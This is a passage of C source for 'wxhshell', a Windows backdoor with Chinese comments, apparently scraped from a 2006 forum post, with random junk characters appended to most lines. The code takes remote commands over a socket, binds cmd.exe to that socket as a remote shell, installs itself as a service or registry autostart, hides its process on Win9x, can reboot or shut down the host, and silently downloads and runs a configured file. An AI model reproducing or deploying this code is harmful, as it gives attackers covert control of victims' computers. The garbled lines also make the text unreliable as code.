  else { %/w-.?bX  
eK1l~W%  
    switch(cmd[0]) { 4N$Wpx  
  5A`>3w{3n  
  // 帮助 drjNK!XL@  
  case '?': { YT!iI   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c Q-#]  
    break; jc_k\  
  } >l)x~Bkf$j  
  // 安装 =@4 ,szLO  
  case 'i': { vzI>:Bf  
    if(Install()) ) 6QJZ$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]0R?N9wb_  
    else B"> Ko3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q[qX O5  
    break; VO:  
    } E]~ #EFc  
  // 卸载 83V\O_7j  
  case 'r': { 6)YckxN^  
    if(Uninstall()) `$1A;wg<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I/St=-;  
    else t&43)TPb.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sYXLVJ>b  
    break; Y54yojvV  
    } .{t5_,P  
  // 显示 wxhshell 所在路径 \Kui`X  
  case 'p': { a U.3  
    char svExeFile[MAX_PATH]; 8u)>o* :  
    strcpy(svExeFile,"\n\r"); j-J/yhWO&  
      strcat(svExeFile,ExeFile); qmn l  
        send(wsh,svExeFile,strlen(svExeFile),0); ]]r ;}$  
    break; `dX0F=Ag?  
    } XLiwE$:t%  
  // 重启 Xbx=h^S  
  case 'b': { {Q$8p2W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ImB5F'HI$  
    if(Boot(REBOOT)) :&&s*_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S3HyB b  
    else { a6h+?Q7uF  
    closesocket(wsh); x76;wQ  
    ExitThread(0); E Y !o#m  
    } 0[Yks NNl1  
    break; EFtn !T  
    } - 8"K|ev  
  // 关机 {l/`m.Z  
  case 'd': { WaX!y$/z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4yTgH0(T  
    if(Boot(SHUTDOWN)) Zr6.Nw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j7I?K :op=  
    else { PS!or!m  
    closesocket(wsh); vY4}vHH2  
    ExitThread(0); W"\`UzOLQ  
    } ryz NM3  
    break;  Jc]k\U  
    } /ioBc}]  
  // 获取shell b O}&i3.L;  
  case 's': { /9SoVU8  
    CmdShell(wsh); (ruMOKW  
    closesocket(wsh); uTO%O}D N  
    ExitThread(0); A ^hafBa  
    break; EcytNYn  
  } -~J5aG[@~>  
  // 退出 @|w/`!}9q  
  case 'x': { B )\;Ja  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NTK9`#SA  
    CloseIt(wsh); ]d{lS&PRlg  
    break; ON>l%Ae4G  
    } hH05p!2  
  // 离开 KT(v'KE 1  
  case 'q': { fV6ddh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &N/dxKZcc  
    closesocket(wsh); G|t0no\f  
    WSACleanup(); z wwJyy%/  
    exit(1); h~._R6y  
    break; }2c&ARQ.m>  
        } Ed_Fx'  
  } I 5ZDP|  
  } i&)([C0z$  
z.h;}QRJ,@  
  // 提示信息 9`H4"H>yG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K0I.3| 6C  
} 9R-2\D]  
  } %'X7T^uE  
V`c,U7[/  
  return; Y}C|4"V  
} y G mFi  
QWt3KW8)  
// shell模块句柄 -M T1qqi  
int CmdShell(SOCKET sock) {+5Ud#\y  
{ 5xj8^W^G9  
STARTUPINFO si; "|,KXv')  
ZeroMemory(&si,sizeof(si)); sS4V(:3s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gv#bd05X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LU@1Gol  
PROCESS_INFORMATION ProcessInfo; &U([Wd?E2  
char cmdline[]="cmd"; oe<@mz/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vvfd?G"  
  return 0; |S<!'rY  
} AG;KXL[V  
D=.Ob<m`Z  
// 自身启动模式 n`jG[{3t&  
int StartFromService(void) wQ9@ l  
{ P{J9#.Zq&s  
typedef struct sK/ymEfRv  
{ p"H /N_b4  
  DWORD ExitStatus; PJ<qqA`!  
  DWORD PebBaseAddress; -Oz! GX  
  DWORD AffinityMask; bJ6H6D>  
  DWORD BasePriority; @~5Fcfmm  
  ULONG UniqueProcessId; t56PzT'M  
  ULONG InheritedFromUniqueProcessId; uz20pun4B  
}   PROCESS_BASIC_INFORMATION; -QBM^L  
iO18FfM_  
PROCNTQSIP NtQueryInformationProcess; J*:_3Wsy  
2FO<Z %Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J*6B~)Sp@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ )2zz>4  
e5; YY  
  HANDLE             hProcess; *1:kIi7_  
  PROCESS_BASIC_INFORMATION pbi; C}L2'l,  
S&'s/jB  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z 9WeOs  
  if(NULL == hInst ) return 0; R,OT\FQ<  
T@zp'6\H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $?[pcgv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^\\9B-MvY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v v5rA 6+  
WqCj;Tj|  
  if (!NtQueryInformationProcess) return 0; IEkbVIA(  
Z^WI~B0nt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !u4eI0?R?  
  if(!hProcess) return 0; f%[xl6VE;  
2$o\`^dy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J?4dafkw  
<'hoN/g  
  CloseHandle(hProcess); L i 9$N"2  
#~w~k+E4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R-mn8N&  
if(hProcess==NULL) return 0; 6Tm7|2R  
|}X[Yg=FG  
HMODULE hMod; @ @(O##(7  
char procName[255]; 66_=bd(9  
unsigned long cbNeeded; [?$tu%Q(Z  
K]dR%j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AOV{@ b(  
Wu8zK=Ve(  
  CloseHandle(hProcess); "%_T7 A ![  
N6%L4v8-}X  
if(strstr(procName,"services")) return 1; // 以服务启动 [l<&eI&ln  
*Aug7 HlS  
  return 0; // 注册表启动 X_,R!$wbg:  
} VT#`l0I }  
G2P:|R  
// 主模块 "Rtt~["%  
int StartWxhshell(LPSTR lpCmdLine) _[wG-W/9R  
{ UDgX A  
  SOCKET wsl; 'S&Zq:  
BOOL val=TRUE; 6 Pdao{P  
  int port=0; r{Mn{1:O  
  struct sockaddr_in door; 6C ?,V3Z  
z('t#J!b  
  if(wscfg.ws_autoins) Install(); HoeW6UV  
}-9 c1&m  
port=atoi(lpCmdLine); >8$Lqj^i  
s |o(~2j  
if(port<=0) port=wscfg.ws_port; $Ny:At  
nm %7e!{m  
  WSADATA data; L2%D$!9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "2 :zWh7|  
J L1]auO*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4|4[3Ye7u:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f<'D?d)L^  
  door.sin_family = AF_INET; !>GDp>0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nD!t*P  
  door.sin_port = htons(port); Ev3,p`zS._  
j}fSz)`i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Eb5BJ-XeS^  
closesocket(wsl); DH4IF i>  
return 1; ,VzbKx,  
} s E;2;2u"  
o/=61K8D  
  if(listen(wsl,2) == INVALID_SOCKET) { -e0?1.A$  
closesocket(wsl); 6X!jNh$oF  
return 1; VM;vLUu!e  
} ^a1k"|E?f  
  Wxhshell(wsl); -*kZ2grLt  
  WSACleanup(); <5G 4|l  
v0T?c53?  
return 0; k3]qpWKj  
C@pn4[jTl  
} E[BM0.#bZ  
n_wF_K\h  
// 以NT服务方式启动 IfY?P(P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;*=7>"o'`  
{ b%0@nu4  
DWORD   status = 0; J.O{+{&cd  
  DWORD   specificError = 0xfffffff; 9`KFJx6D  
%Z-xh< &  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c}H}fyu%n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; as!P`*@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :% +9y @%  
  serviceStatus.dwWin32ExitCode     = 0; RS@G.|  
  serviceStatus.dwServiceSpecificExitCode = 0; Q9;VSF)  
  serviceStatus.dwCheckPoint       = 0; J5z\e@?.0\  
  serviceStatus.dwWaitHint       = 0; lAo4)  
46B'Ec  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YtXd>@7  
  if (hServiceStatusHandle==0) return; ['3E'q,4&  
`\/\C[Gg  
status = GetLastError(); Lg7dJnf  
  if (status!=NO_ERROR) lAGntYv  
{ 05 .EI)7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O[p c$Pi  
    serviceStatus.dwCheckPoint       = 0; -M4VC^_  
    serviceStatus.dwWaitHint       = 0; V6kDyl(  
    serviceStatus.dwWin32ExitCode     = status; J*AYZS-tSE  
    serviceStatus.dwServiceSpecificExitCode = specificError; IOJLJ p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 90ov[|MkM  
    return; {!!8 *ix  
  } ^g.H JQ'vF  
7|o}m}yVx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fw a*|y;  
  serviceStatus.dwCheckPoint       = 0; ;*d?Qe:  
  serviceStatus.dwWaitHint       = 0; _ D"S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bw9O)++  
} nB/`~_9  
g!)*CP#;  
// 处理NT服务事件,比如:启动、停止 AKS. XW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FV/lBWiQQ  
{ iRM ?_|  
switch(fdwControl) LKZv#b[h  
{ _{GD\Ai_W  
case SERVICE_CONTROL_STOP: 3{TE6&HIa  
  serviceStatus.dwWin32ExitCode = 0; Sw>,Q-32  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j%':M  
  serviceStatus.dwCheckPoint   = 0; Y^XZ.R  
  serviceStatus.dwWaitHint     = 0; ^+kymZ  
  { L(C0236r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jHV) TBr  
  } L D%SLJ:  
  return; 8?w#=@s  
case SERVICE_CONTROL_PAUSE: t Q.%f:|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o)'06FF\$  
  break; R?Ch8mW.!  
case SERVICE_CONTROL_CONTINUE: (-@I'CFd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R'oGsaPB2  
  break; j9BcoEl:;  
case SERVICE_CONTROL_INTERROGATE: 0%yPuY>  
  break; '>Thn{  
}; z+^9)wg9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4{0vdpo3F  
} (^]3l%Ed  
474 oVdGx  
// 标准应用程序主函数 a|k*A&5u2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fw^^sB  
{ .Y }k@T40a  
F3x*dq2  
// 获取操作系统版本 6B}V{2  
OsIsNt=GetOsVer(); bzZ7L-yD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sXY{g0%  
hb>uHUb&  
  // 从命令行安装 j#YVv c%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7324#HwS  
7UUu1"|a|  
  // 下载执行文件 *r|1 3|k  
if(wscfg.ws_downexe) { GKG:iR)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6H0aHCM  
  WinExec(wscfg.ws_filenam,SW_HIDE); :zpT Gk8Z  
} `6PBV+]Vm3  
Z5`V\$  
if(!OsIsNt) { R?J8#JPXD  
// 如果时win9x,隐藏进程并且设置为注册表启动 C\0,D9  
HideProc(); E_{P^7Z|Jg  
StartWxhshell(lpCmdLine); }Q-Tw,j  
} xX8 c>p  
else _6L'}X$)N  
  if(StartFromService()) \\Z?v,XsS  
  // 以服务方式启动 yz)Nco]  
  StartServiceCtrlDispatcher(DispatchTable); _Ecs{'k  
else |Vp ?  
  // 普通方式启动 upq3)t_  
  StartWxhshell(lpCmdLine); \#gguq?[  
cu#r#0U-  
return 0; JZqJ&   
}
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只看该作者 1 发表于: 2006-10-10
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